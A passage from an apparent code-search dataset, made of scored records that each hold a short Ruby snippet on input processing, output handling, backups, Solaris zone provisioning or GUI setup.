"text": "def process_input(input)\n case input\n when 1 then return process_legend_input(\n get_entry(\"Input value (0: false, 1:true) : \").to_i)\n when 2 then return process_ydim_input(get_entry(\"Input value: \").to_i)\n when 3 then return process_scale_input(\n get_entry(\"Input value (0: false, 1:true) : \").to_i)\n when 4 then return save_to_file(get_entry(\"Save destination: \"))\n when 5 then return false\n else\n puts \" Error: Input #{input} is not valid.\".red\n return true\n end\n end",
"title": ""
},
{
"docid": "485ac351aa99d2b397743da535e46616",
"score": "0.5709218",
"text": "def preprocess(input); end",
"title": ""
},
{
"docid": "b0d5a0ab00977e4268b3f4655164074a",
"score": "0.57091564",
"text": "def before_validate\n self.previous_output :alias => 'PREVOUT' unless self.previous_output\n self.outputs<< output(0) if self.outputs.empty?\n super\n end",
"title": ""
},
{
"docid": "ed7a9159acf7052543149b17bef5c833",
"score": "0.56868094",
"text": "def out; end",
"title": ""
},
{
"docid": "4dc5ce8d03dac31f0a8fa8d397a70e56",
"score": "0.56470495",
"text": "def source=(input); end",
"title": ""
},
{
"docid": "d1f63b684a3b41be652a8a7894015bb1",
"score": "0.5612792",
"text": "def outputs data\n data.each do |data|\n #puts \"DATA: #{data.inspect}\"\n #puts \" data mapping: #{data.map}\"\n #puts \"-----\"\n data.output\n end\nend",
"title": ""
},
{
"docid": "cc9593581a4babf9a229740004912207",
"score": "0.5610719",
"text": "def __output(*args, **opt, &block)\n __output_impl(*args, **opt, &block)\nend",
"title": ""
},
{
"docid": "33979aad2fa59fb260202648b5d5f1c4",
"score": "0.559096",
"text": "def process_inputs(args)\n @input = ((name = args[:in_file]) && (IO.read(name, mode: \"rb\"))) ||\n args[:in_str] ||\n fail(\"An input must be specified.\")\n\n @generator = args[:generator] ||\n ((key = args[:key]) && Generator.new(key)) ||\n fail(\"A key or generator must be specified.\")\n\n @window = args[:window] || 16\n\n #The filler value is for testing purposes only. It should\n #not be specified when secure operation is desired.\n @fill_value = args[:filler]\n end",
"title": ""
},
{
"docid": "cde594ab0ae4fbd8187dc903b49fa6b8",
"score": "0.55800265",
"text": "def input_handler(input)\n processed = case \n when input.class == Hash\n [ input ]\n when input.class == Array\n input\n else\n raise ArgumentError, \"Unrecognized input class: #{input.class}\"\n end\n end",
"title": ""
},
{
"docid": "db55a4726e22634c04005655b3a6b114",
"score": "0.55381286",
"text": "def run_input_thread; end",
"title": ""
},
{
"docid": "9a856206a7f0da0cefcb742923dc5fc2",
"score": "0.55152833",
"text": "def input_lines; end",
"title": ""
},
{
"docid": "a606ff314b37ba47be08b757ff538b5e",
"score": "0.55131894",
"text": "def processor; end",
"title": ""
},
{
"docid": "7610e0065427a4897e77ef5750000857",
"score": "0.54998446",
"text": "def setio(input, output)\n @@input = input\n @@output = output\n end",
"title": ""
},
{
"docid": "5d1cbed6098e32d44ed4c7131329058c",
"score": "0.54947907",
"text": "def process(data)\n end",
"title": ""
},
{
"docid": "07dee5d04a93e3a4a7276979146dfdfe",
"score": "0.5490365",
"text": "def process(*)\n end",
"title": ""
},
{
"docid": "42be6c5f6fbcbac96574899d1e45ee7f",
"score": "0.5480741",
"text": "def process(data)\n end",
"title": ""
},
{
"docid": "d53971954fe5368f7e2e14d4a8875a4c",
"score": "0.54509985",
"text": "def process(input)\n full_input = input\n args = input.split(\" \")\n\n case args[0]\n when \"quit\"\n bye()\n when \"help\"\n displayHelp()\n when \"modules\"\n printModules()\n when \"use\"\n options = get_options(args[1])\n if options == false \n puts \"Wrong module\"\n elsif args[1] == \"http_module\"\n http_fuzz()\n else\n setup_module(args[1], options)\n end\n else\n puts \"Wrong options\"\n displayHelp()\n end\n\nend",
"title": ""
},
{
"docid": "c82fff8dbdc4f0f3a47a0aa9d44d7ddc",
"score": "0.5448595",
"text": "def input_process (*args)\n if(args.size == 1)\n input = args[0]\n operation = input.initial\n elsif(args.size == 2)\n input = args[1]\n operation = input[0]\n else\n return\n end\n \n total = get_numbers(input, operation)\n\n if operation == \"+\"\n $totalvalue += addition(*total)\n elsif operation == \"-\"\n $totalvalue += subtraction(*total)\n elsif operation == \"*\"\n $totalvalue = multiplication($totalvalue, *total)\n elsif operation == \"/\"\n $totalvalue = division($totalvalue, *total)\n end\n total.clear\nend",
"title": ""
},
{
"docid": "8802a21c93a8885d3eec44e70b2bf500",
"score": "0.5446179",
"text": "def io_out\n raise NotImplementedError, 'Not implemented'\n end",
"title": ""
},
{
"docid": "95fc6aeb97056360254935fd4df943ff",
"score": "0.5429531",
"text": "def input_stream; end",
"title": ""
},
{
"docid": "7b06db8b6e5dac47d425e6dabcd75229",
"score": "0.5425752",
"text": "def produceOutput()\n\t# Debug output\n\tif $DEBUG then STDERR.puts \"in produceOutput()\" end\n\n\tmoddedInput = fixInput()\n\tnumberOutput = convertToNumber(moddedInput)\n\treturn fancyOutput(numberOutput)\nend",
"title": ""
},
{
"docid": "1fff6a55f09762e1cd6fd2ef6c0a3452",
"score": "0.54253465",
"text": "def process_data\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "2b26ee151a29dcff3e161cf0ab496f57",
"score": "0.54185635",
"text": "def handle_input\n # Takes user input\n input = STDIN.gets.chomp\n system('clear')\n\n # Single word commands\n # QUIT\n if input == 'quit'\n @run_game = false\n puts \"Thanks for playing!\"\n sleep(3)\n system('clear')\n\n # BACKPACK\n elsif input == 'backpack'\n @player.print_backpack\n\n # HELP\n elsif input == 'help'\n puts \"Use the commands to move around the AirBnB and use items to help you escape.\"\n\n else\n # Double word commands \n input_arr = input.split(\" \")\n # User has only entered one word\n if input_arr.size > 1\n command1 = input_arr[0]\n command2 = input_arr[1]\n # TAKE ITEM\n if command1 == \"take\"\n take_item(command2)\n # USE ITEM\n elsif command1 == \"use\"\n use_item(command2)\n # GO ROOM\n elsif command1 == \"go\"\n go_room(command2)\n else\n # User doesn't specify second command\n puts \"I'll need more information than that!\"\n end\n else\n # User enters invalid command word\n puts \"That isn't a valid command\"\n end\n end\n end",
"title": ""
},
{
"docid": "731b27b63dcb2d84203e5e8b1ca8a718",
"score": "0.54072374",
"text": "def process(input)\n add_input(input)\n flush_context_stack\n end",
"title": ""
},
{
"docid": "5e8e6af557e2517ee42e57842066b409",
"score": "0.5405093",
"text": "def process(*)\n end",
"title": ""
},
{
"docid": "5e8e6af557e2517ee42e57842066b409",
"score": "0.5405093",
"text": "def process(*)\n end",
"title": ""
},
{
"docid": "dbe8c344ecefd34fa3f872b5bdca6094",
"score": "0.54042035",
"text": "def process\n end",
"title": ""
},
{
"docid": "f73a7b0efbdafd02b44363836f89d097",
"score": "0.53941554",
"text": "def output(data_size: \"small\")\n count = 1\n get_inputs(data_size).each do |input|\n output = solve(input)\n puts \"Case ##{count}: #{output}\"\n count += 1\n end\n end",
"title": ""
},
{
"docid": "61e7431bb55db20ff1eb8dcfdfc50476",
"score": "0.5389564",
"text": "def call(input)\n process(input)\n end",
"title": ""
},
{
"docid": "f6fde0eb05235cc6b2547a969cfb400b",
"score": "0.53892016",
"text": "def process_input()\n\n if (@input_type == 'STRING')\n\n if (@inp[@start, @increment] == 'PLACE')\n return [true, @increment, 0, 0]\n else\n return [false, @increment, 0, 0]\n end\n\n elsif (@input_type == 'INTEGER')\n\n if ((@inp[@start, @increment].to_i).to_s == @inp[@start, @increment])\n return [true, @increment, @inp[@start, @increment].to_i, 0]\n else\n return [false, @increment, @inp[@start, @increment].to_i, 0]\n end\n\n elsif (@input_type === 'ORIENTATION')\n\n orientation_array = ['N', 'E', 'S', 'W']\n orientation_num = nil\n h = 0\n while (h < 4) && (orientation_num == nil)\n if orientation_array[h] == @inp[@start, @increment]\n orientation_num = h\n end\n h = h + 1\n end\n if @increment == 1\n if orientation_num != nil\n return [true, @increment, orientation_num, 0]\n end\n end\n return [false, 0, 0, 0]\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "1ce374f57c12ecfbe5a5d34eeb31897e",
"score": "0.5357826",
"text": "def output(data_size: \"small\")\n count = 1\n\n get_inputs(data_size).each do |input|\n output = solve(input)\n puts \"Case ##{count}: #{output}\"\n count += 1\n end\n end",
"title": ""
},
{
"docid": "1ce374f57c12ecfbe5a5d34eeb31897e",
"score": "0.53567857",
"text": "def output(data_size: \"small\")\n count = 1\n\n get_inputs(data_size).each do |input|\n output = solve(input)\n puts \"Case ##{count}: #{output}\"\n count += 1\n end\n end",
"title": ""
},
{
"docid": "7d308d86c111540bcdb103cbc377f889",
"score": "0.53496397",
"text": "def process(step)\n step.inputs.each do |key, val|\n @inputs[key] = val unless @inputs.key?(key) || @outputs.key?(key)\n end\n @outputs.merge!(step.outputs)\n end",
"title": ""
},
{
"docid": "b9960478999684c2b536f76e22f6fc63",
"score": "0.5344373",
"text": "def solution4(input)\n end",
"title": ""
},
{
"docid": "032b7adbe646125af8009c735b5cb505",
"score": "0.5333412",
"text": "def match_input_to_output!\n input.each_feature do |finst|\n next unless finst.feature.unset?\n\n out_feat_instance = out_feat_corr_of_in(finst)\n finst.value = out_feat_instance.value\n end\n eval # re-evaluate constraint violations b/c changed input\n self\n end",
"title": ""
},
{
"docid": "7235470b83ac925170974a34ea508a9d",
"score": "0.5318468",
"text": "def postprocess_user_choices\n if @user_choices[:files][0] and @user_choices[:files][0] != Pathname('-')\n @user_choices[:input] = @user_choices[:files][0].open('r')\n else\n @user_choices[:input] = STDIN\n end\n \n if @user_choices[:files][1] and @user_choices[:files][1] != Pathname('-')\n @user_choices[:output] = @user_choices[:files][1].open('w')\n else\n @user_choices[:output] = STDOUT\n end\n end",
"title": ""
},
{
"docid": "9efa597f4c18839ee136c35e7dd06ec1",
"score": "0.53174204",
"text": "def preprocess_input(input)\n input\nend",
"title": ""
},
{
"docid": "9fbec9b2bcd97ad59997b3cbc61b2258",
"score": "0.5303365",
"text": "def handle; end",
"title": ""
},
{
"docid": "47e672b718a7304b656356f00496910c",
"score": "0.5292815",
"text": "def input_thread_step\n case (obj = read_from_wire)\n when Block\n handle_block obj\n when Message\n handle_message obj\n else\n raise \"don't know what to do with #{obj.inspect}\"\n end\n\n ## to enable immediate response, if there are no rate limits,\n ## we'll send the blocks and reqs right here. otherwise, the\n ## controller will call this at intervals.\n send_blocks_and_reqs if @controller.dlratelim.nil? && @controller.ulratelim.nil?\n end",
"title": ""
},
{
"docid": "38d429f99e5347acd7a6d98e6c968fe2",
"score": "0.5288015",
"text": "def process!\n end",
"title": ""
},
{
"docid": "8c5adae4631b584837ccae3904d6e305",
"score": "0.52833253",
"text": "def handleIOEvent( io, event )\n\t\tcase event\n\n\t\twhen :error\n\t\t\t@server.disconnectUser( self )\n\t\t\t\n\t\twhen :read\n\t\t\tinput = readInput()\n\t\t\t@server.processInput( self, *input ) unless input.empty?\n\n\t\twhen :write\n\t\t\tbytesLeft = writeOutput()\n\t\t\t@server.reactor.disableEvents( @socket, :write ) if bytesLeft.zero?\n\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "83a5da9629f32d852926ce82f67cffdd",
"score": "0.5283191",
"text": "def handle(args, stdin, stdout)\n end",
"title": ""
},
{
"docid": "0238a29f231bcac3d7a415911a5a785c",
"score": "0.5276323",
"text": "def handle_monitor_output request, *params\n conf, last = *params\n if last\n last_hash, last_idx = *last.split(\":\"); last_idx = last_idx.to_i\n if (last_tx = @node.store.get_tx(last_hash)) && last_out = last_tx.out[last_idx]\n notify = false\n depth = @node.store.get_depth\n (last_tx.get_block.depth..depth).each do |i|\n blk = @node.store.get_block_by_depth(i)\n blk.tx.each do |tx|\n tx.out.each.with_index do |out, idx|\n addr = Bitcoin::Script.new(out.pk_script).get_address\n res = { nhash: tx.nhash, hash: tx.hash, idx: idx, address: addr,\n value: out.value, confirmations: (depth - blk.depth + 1) }\n respond(request, [[\"output\", *params].join(\"_\"), res]) if notify\n notify = true if tx.hash == last_hash && idx == last_idx\n end\n end\n end\n end\n end\n\n return unless (conf = conf.to_i) > 0\n @node.subscribe(:block) do |block, depth|\n block = @node.store.get_block_by_depth(depth - conf + 1)\n next unless block\n block.tx.each do |tx|\n tx.out.each.with_index do |out, idx|\n addr = Bitcoin::Script.new(out.pk_script).get_address\n res = { nhash: tx.nhash, hash: tx.hash, idx: idx, address: addr,\n value: out.value, confirmations: conf }\n respond(request, [[\"output\", *params].join(\"_\"), res])\n end\n end\n end\n end",
"title": ""
}
] |
3d1b72cce69be31fcca9d12e4572d542 | aruba defaults to using 'tmp/aruba' | [
{
"docid": "78310a19825d344db32b8e77e1f35698",
"score": "0.5827853",
"text": "def in_aruba_dir(file_dir)\n dir = File.dirname(file_dir)\n working_dir = File.join(ARUBA_DIR, dir)\n\n Dir.chdir working_dir do\n yield\n end\nend",
"title": ""
}
] | [
{
"docid": "6c8a2f02419f78ffe9ddb7c4fce09074",
"score": "0.5511805",
"text": "def whereami() [__FILE__] end",
"title": ""
},
{
"docid": "447a14575c5907d1da11cb367bc87323",
"score": "0.5475038",
"text": "def pre_configure\n super\n @path ||= \"#{ENV['HOME']}/backups\"\n end",
"title": ""
},
{
"docid": "ed56549d516c4f8e44d1796774f99ffc",
"score": "0.53223276",
"text": "def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend",
"title": ""
},
{
"docid": "38bc43d45a46646fd734563cf12b1af5",
"score": "0.525484",
"text": "def tmpdir; end",
"title": ""
},
{
"docid": "1cf8b364dc38448b42fe0d1bea4e6e8d",
"score": "0.52486604",
"text": "def _init_filesystem\n\t\t# Prepare temporary work directory\n\t\tcommand_send(\"sudo rm -rf /tmp/.captain\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/transfers\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/export\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/import\")\n\tend",
"title": ""
},
{
"docid": "b921c3b0775ebdeee172a1be446bf179",
"score": "0.5239881",
"text": "def barista_init(options)\n pot = Pot.new(\"cfg/#{options[:target]}.cfg\")\n pot.save\nend",
"title": ""
},
{
"docid": "6a3c204b8f3545e8a9f5647cf8a1e38f",
"score": "0.5232309",
"text": "def before_restore\n stop_postgres\n # Remove symlink to oltp\n FileUtils.rm_r '/data/db/oltp'\n create_directory\n change_ownership(\"barman\")\n change_permissions($seven_five_five)\n edit_backup_info\nend",
"title": ""
},
{
"docid": "dc573d72db12c7915f3ce01c218cdb99",
"score": "0.51001036",
"text": "def sandbox\n @sandbox ||= File.expand_path \"tmp/sandbox\"\nend",
"title": ""
},
{
"docid": "db0dc391c88eca58c07c09b752c70189",
"score": "0.50781226",
"text": "def cli_path; end",
"title": ""
},
{
"docid": "0516d8e679cfa70933360565830da93c",
"score": "0.5075172",
"text": "def z_interface\n file = File.expand_path('~/.z')\n return unless File.exist? file\n\n @title = 'Directories from ~/.z'\n @files = `sort -rn -k2 -t '|' ~/.z | cut -f1 -d '|'`.split(\"\\n\")\n home = ENV['HOME']\n # shorten file names\n @files.collect! do |f|\n f.sub(/#{home}/, '~')\n end\nend",
"title": ""
},
{
"docid": "72779fa74eefcf8648caa23c10649f92",
"score": "0.503581",
"text": "def init\n depot = OPTIONS[:depot]\n detruire = OPTIONS[:detruire]\n\n if File.exists? depot\n if detruire\n FileUtils.rm_f depot # On detruit le depot existant si --detruire est specifie.\n else\n erreur \"Le fichier '#{depot}' existe.\n Si vous voulez le detruire, utilisez 'init --detruire'.\"\n end\n end\n FileUtils.touch depot\nend",
"title": ""
},
{
"docid": "e8a1ae5932b78ea9f8c7dbf56033fb30",
"score": "0.5003553",
"text": "def negroku\n File.join(File.dirname(__FILE__), 'negroku', 'deploy.rb')\nend",
"title": ""
},
{
"docid": "20718a2288661447bd7c1cee371a8f81",
"score": "0.49930137",
"text": "def archive_dir\n Conf.global_conf[:zib_archive_dir]\n end",
"title": ""
},
{
"docid": "8560af45854bb0376bfd9bf1f51d8df3",
"score": "0.49839377",
"text": "def setup\n switch_dir\n end",
"title": ""
},
{
"docid": "7b6c85ba49d7eb4c62af76200c66f6f3",
"score": "0.49834815",
"text": "def prepare_sandbox\n clear_sandbox\n FileUtils.mkdir_p sandbox\nend",
"title": ""
},
{
"docid": "995b6c2b1e293135c22471793d45a1d0",
"score": "0.49800843",
"text": "def atualAtaques\n system( \"cd sh && ./atual_ataques.sh\" )\nend",
"title": ""
},
{
"docid": "38616bb14b259abee785679103cfd4ab",
"score": "0.4975413",
"text": "def tmpdir=(_arg0); end",
"title": ""
},
{
"docid": "b06177096cc9823f80ad34eeeaae3268",
"score": "0.49404556",
"text": "def go_bundles\n FileUtils.cd(TXMP_SUPPORT_PATH + \"/bundles\")\nend",
"title": ""
},
{
"docid": "ee69cd7380faf4a4bf4ca80c7d4dfe2b",
"score": "0.49284947",
"text": "def sync_local\n sync_hash = {\n ['~/Library/Application\\\\ Support/Firefox', '~/Library/Application\\\\ Support/Quicksilver',\n '~/Library/Preferences' ] =>'library/',\n ['~/.boson', '~/.sake', '~/.cronrc', '~/.gemrc', '~/.gitconfig', '~/.gem/specs']=>'dotfiles/',\n }\n sync_hash.each do |src, dest|\n src.each do |e| \n cmd = \"rsync -av #{e} #{File.join('~/backup', dest)}\"\n system cmd\n end\n end\n end",
"title": ""
},
{
"docid": "482ecd1bea36d256480a15147b840393",
"score": "0.4906109",
"text": "def folder\n @folder ||= './.tests_cli'\n end",
"title": ""
},
{
"docid": "1f82b9af6965375dd0048ce8a1380c46",
"score": "0.49049184",
"text": "def createArqConfig (config, arq)\n\t\tFile.open(arq, 'a+') do |f2|\n \t\t\tf2.puts config\n \t\tend\n\tend",
"title": ""
},
{
"docid": "bce394d13702da41185e50afc41b2678",
"score": "0.4895821",
"text": "def standard_zone_post_install(options)\n options['zonedir'] = options['zonedir']+\"/\"+options['name']\n if File.directory?(options['zonedir'])\n options['clientdir'] = options['zonedir']+\"/root\"\n tmp_file = \"/tmp/zone_\"+options['name']\n admin_username = options['q_struct']['admin_username'].value\n admin_uid = options['q_struct']['admin_uid'].value\n admin_gid = options['q_struct']['admin_gid'].value\n admin_crypt = options['q_struct']['admin_crypt'].value\n root_crypt = options['q_struct']['root_crypt'].value\n admin_fullname = options['q_struct']['admin_description'].value\n admin_home = options['q_struct']['admin_home'].value\n admin_shell = options['q_struct']['admin_shell'].value\n passwd_file = options['clientdir']+\"/etc/passwd\"\n shadow_file = options['clientdir']+\"/etc/shadow\"\n message = \"Checking:\\tUser \"+admin_username+\" doesn't exist\"\n command = \"cat #{passwd_file} | grep -v '#{admin_username}' > #{tmp_file}\"\n execute_command(options,message,command)\n message = \"Adding:\\tUser \"+admin_username+\" to \"+passwd_file\n admin_info = admin_username+\":x:\"+admin_uid+\":\"+admin_gid+\":\"+admin_fullname+\":\"+admin_home+\":\"+admin_shell\n command = \"echo '#{admin_info}' >> #{tmp_file} ; cat #{tmp_file} > #{passwd_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",passwd_file)\n info = IO.readlines(shadow_file)\n file = File.open(tmp_file,\"w\")\n info.each do |line|\n field = line.split(\":\")\n if field[0] != \"root\" and field[0] != \"#{admin_username}\"\n file.write(line)\n end\n if field[0].to_s.match(/root/)\n field[1] = root_crypt\n copy = field.join(\":\")\n file.write(copy)\n end\n end\n output = admin_username+\":\"+admin_crypt+\":::99999:7:::\\n\"\n file.write(output)\n file.close\n message = \"Information:\\tCreating shadow file\"\n command = \"cat #{tmp_file} > #{shadow_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",shadow_file)\n client_home = options['clientdir']+admin_home\n message = \"Information:\\tCreating SSH directory for \"+admin_username\n command = \"mkdir -p #{client_home}/.ssh ; cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n # Copy admin user keys\n rsa_file = admin_home+\"/.ssh/id_rsa.pub\"\n dsa_file = admin_home+\"/.ssh/id_dsa.pub\"\n key_file = client_home+\"/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n message = \"Information:\\tCreating SSH directory for root\"\n command = \"mkdir -p #{options['clientdir']}/root/.ssh ; cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Copy root keys\n rsa_file = \"/root/.ssh/id_rsa.pub\"\n dsa_file = \"/root/.ssh/id_dsa.pub\"\n key_file = options['clientdir']+\"/root/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n # Fix permissions\n message = \"Information:\\tFixing SSH permissions for \"+admin_username\n command = \"cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n message = \"Information:\\tFixing SSH permissions for root \"\n command = \"cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Add sudoers entry\n sudoers_file = options['clientdir']+\"/etc/sudoers\"\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"cat #{sudoers_file} |grep -v '^#includedir' > #{tmp_file} ; cat #{tmp_file} > #{sudoers_file}\"\n execute_command(options,message,command)\n message = \"Information:\\tAdding sudoers include to \"+sudoers_file\n command = \"echo '#includedir /etc/sudoers.d' >> #{sudoers_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n sudoers_dir = options['clientdir']+\"/etc/sudoers.d\"\n check_dir_exists(options,sudoers_dir)\n sudoers_file = sudoers_dir+\"/\"+admin_username\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"echo '#{admin_username} ALL=(ALL) NOPASSWD:ALL' > #{sudoers_file}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Warning:\\tZone #{options['name']} doesn't exist\")\n quit(options)\n end\n return\nend",
"title": ""
},
{
"docid": "ef646253689f27b5145e332495915620",
"score": "0.48865557",
"text": "def pkg_binary; \"pacaur\" end",
"title": ""
},
{
"docid": "e5ef68bb86014b0f936218b2b59099f3",
"score": "0.4879149",
"text": "def executable_path; end",
"title": ""
},
{
"docid": "7d9fa6169e3d5a34098e10032f04ed3d",
"score": "0.48693982",
"text": "def rfolder\n\t\"#{ENV['HOME']}/tmp/jackbox/#{(0...10).map { ('a'..'z').to_a[rand(26)] }.join}\"\nend",
"title": ""
},
{
"docid": "c388592e5b8016749ebc8f5ef7da925a",
"score": "0.4846229",
"text": "def rc_dirs; end",
"title": ""
},
{
"docid": "0086dff723d7b251053eb635eb7b5ccf",
"score": "0.48427734",
"text": "def autorun; end",
"title": ""
},
{
"docid": "57cdf8146e6eddef89fad3f101ce2431",
"score": "0.48358783",
"text": "def app_dir\n \"#{node[:splunk][:home]}/etc/apps/#{new_resource.app}\"\nend",
"title": ""
},
{
"docid": "2380aabfb0da16f45de4ab464e03610b",
"score": "0.48269954",
"text": "def system_backup\n\n\n end",
"title": ""
},
{
"docid": "78610d9610ddf35683322009b5852c4a",
"score": "0.48223612",
"text": "def setup_tmp_dir(koan)\n FileUtils.mkdir \"tmp\" unless Dir.exist? \"tmp\"\n if Dir.exist? \"tmp/#{koan.name}\"\n FileUtils.rm_rf \"tmp/#{koan.name}/*\"\n puts \"rm -rf tmp/#{koan.name}/*\"\n else\n FileUtils.mkdir \"tmp/#{koan.name}\"\n puts \"mkdir tmp/#{koan.name}\"\n end\nend",
"title": ""
},
{
"docid": "8959ef0334351119d17860df2c59b63c",
"score": "0.481781",
"text": "def local_cache(basebox_name)\n cache_dir = Vagrant::Environment.new.home_path.join('cache', 'apt', basebox_name)\n # Vagrant::Environment.new.home_path\n print cache_dir\n cache_dir.mkpath unless cache_dir.exist?\n partial_dir = cache_dir.join('partial')\n partial_dir.mkdir unless partial_dir.exist?\n cache_dir\nend",
"title": ""
},
{
"docid": "f838257d9842817576b2966c628bb3e6",
"score": "0.4802399",
"text": "def riakadmin\n \"riak-admin backup #{node} #{cookie}\"\n end",
"title": ""
},
{
"docid": "fe029cacd7610d05cfa7b68849cd468c",
"score": "0.47865137",
"text": "def cli_path=(_arg0); end",
"title": ""
},
{
"docid": "432719e126a0b2d4623d6dee48aa75cd",
"score": "0.47804934",
"text": "def addLocationGUI(srcPhoto)\n # Need a symlink to Pashua in this folder too, include and require moved to top\n\n $:.push(File.dirname($0))\n\nconfig = <<end_of_string\n# Set transparency: 0 is transparent, 1 is opaque\n*.transparency=0.95\n\n# Set window title. \"2\" since the second window that appears\n*.title = 2. Add location information based on fileEXIF only\n\n# Introductory text\ntxt.type = text\ntxt.width = 500\ntxt.default = Select the location of the files to which location information[return] based on GPS coordinates in file EXIF are to be added[return] without moving the files\n\n# Photo folder select\n# FIX put in just mounted card when get app to detect mounted cards\nsrcSelect.type = openbrowser\nsrcSelect.label = Select the folder containing the photos:\nsrcSelect.width=550\n# presumably can use a variable\nsrcSelect.default = #{srcPhoto}\n\n\n# Add a cancel button with default label\ncb.type = cancelbutton\n\nend_of_string\n\n # Set the images' paths relative to this file's path / \n # skip images if they can not be found in this file's path\n icon = File.dirname($0) << \"/.icon.png\";\n bgimg = File.dirname($0) << \"/.demo.png\";\n\n if File::exists?(icon) # Display Pashua's icon\n Config << \"img.type = image\n img.x = 530\n img.y = 255\n img.path = #{icon}\n \"\n end\n\n if File::exists?(bgimg) # Display Pashua's icon\n Config << \"bg.type = image\n bg.x = 30\n bg.y = 2\n bg.path = #{bgimg}\n \"\n end\n\n # pashuaReturn = pashua_run config\n res = pashua_run config\n return res\n \nend",
"title": ""
},
{
"docid": "ed7c1f908adc8688fe88716eb895e173",
"score": "0.47785878",
"text": "def rackup(path); end",
"title": ""
},
{
"docid": "1abc1babd22444fe759d0dda94f5611d",
"score": "0.4762607",
"text": "def terragrunt_bin\n @terragrunt_bin ||= ::File.join(bin_root, \"#{terragrunt_name}-#{terragrunt_version}\", terragrunt_name)\n end",
"title": ""
},
{
"docid": "98a1214a9fe69a4d775f43c1a14a5f3f",
"score": "0.47459972",
"text": "def work_dir; end",
"title": ""
},
{
"docid": "dc60f30bf8788f179d8c6a96a40bcb0a",
"score": "0.47419408",
"text": "def initialize(options = nil) \n JubulaOptions::Fields.each { |x| eval(\"@#{x} = JubulaOptions::#{x}\") }\n options.each { |opt, val| eval( \"@#{opt} = '#{val}'\") } if options\n\t[\"#{@jubulaHome}/server/autagent*\",\n\t\"#{@jubulaHome}/#{@application}/#{@application}*\",\n\t\"#{@jubulaHome}/#{@application}/testexec*\",\n\t\"#{@jubulaHome}/#{@application}/dbtool*\",\n\t].each { \n\t |file|\n\t\tif Dir.glob(file.gsub('\"','')).size == 0\n\t\t\tputs(\"Jubula not correctly installed in #{@jubulaHome}\")\n\t\t\tputs(\"We could not find the needed application: #{file}\")\n\t\t\texit 1\n\t end\n\t}\n [@instDest, @testResults, @dataDir].each { # @data,\n |x|\n\tFileUtils.rm_rf(x, :verbose => true, :noop => @dryRun)\n\tFileUtils.makedirs(x, :verbose => true, :noop => @dryRun)\n }\n ENV['TEST_UPV_WORKSPACE'] = @workspace\n end",
"title": ""
},
{
"docid": "539d0999315532bcffdc52332a5b50d3",
"score": "0.47054258",
"text": "def destination\n File.join(cwd, 'Applications')\nend",
"title": ""
},
{
"docid": "90e9eefba85cf6c19343c2bdc502360a",
"score": "0.47050703",
"text": "def aorta( obj )\n tempfile = File.join('/tmp',\"yobj_#{ Time.now.to_i }\")\n File.open( tempfile, 'w' ) { |f| f << obj.to_yaml }\n system( \"#{ ENV['EDITOR'] || 'vi' } #{ tempfile }\" )\n return obj unless File.exists?( tempfile )\n content = YAML::load( File.open( tempfile ) )\n File.delete( tempfile )\n content\nend",
"title": ""
},
{
"docid": "b0d203065a960b346f4a65bc000f6f80",
"score": "0.47043562",
"text": "def backup filename=@app_file_path\n require 'fileutils'\n FileUtils.cp filename, \"#{filename}.org\"\n end",
"title": ""
},
{
"docid": "7faf1b2bbc2424b8c3ed2a25d980a8e0",
"score": "0.46942252",
"text": "def pPashua2(srcPhoto,lastPhotoFilename, destPhoto,destOrig) \n # Need a symlink to Pashua in this folder too, include and require moved to top\n\n $:.push(File.dirname($0))\n\nconfig = <<end_of_string\n# Set transparency: 0 is transparent, 1 is opaque\n*.transparency=0.95\n\n# Set window title\n*.title = 2. SD card photo downloading options\n\n# Introductory text \ntxt.type = text\ntxt.default = Setting up the downloading and/or copying from SD card. \n\n# Photo folder select\nsrcSelect.type = openbrowser\nsrcSelect.label = Select the folder containing the photos (default is latest card, but may not be up to date):\nsrcSelect.width=550\n# presumably can use a variable\nsrcSelect.default = #{srcPhoto}\n\n# Putting in the last photo downloaded from the card and imported to Aperture\n# Not sure about default\nlastPhoto.type = textfield\nlastPhoto.label = Last photo imported to Aperture (from Special Instructions filed):\nlastPhoto.width=120\nlastPhoto.default = #{lastPhotoFilename}\n\n# Photo folder destination\ndestPhotoP.type = openbrowser\ndestPhotoP.label = Select the destination folder for the relabled and GPS coordinated photos:\ndestPhotoP.width=700\ndestPhotoP.default = #{destPhoto}\n\n# Move originals to another folder destination\ndestOrig.type = openbrowser\ndestOrig.label = Select the destination folder a copy of the original photo files. Only applies to first two options:\ndestOrig.width=700\ndestOrig.default = 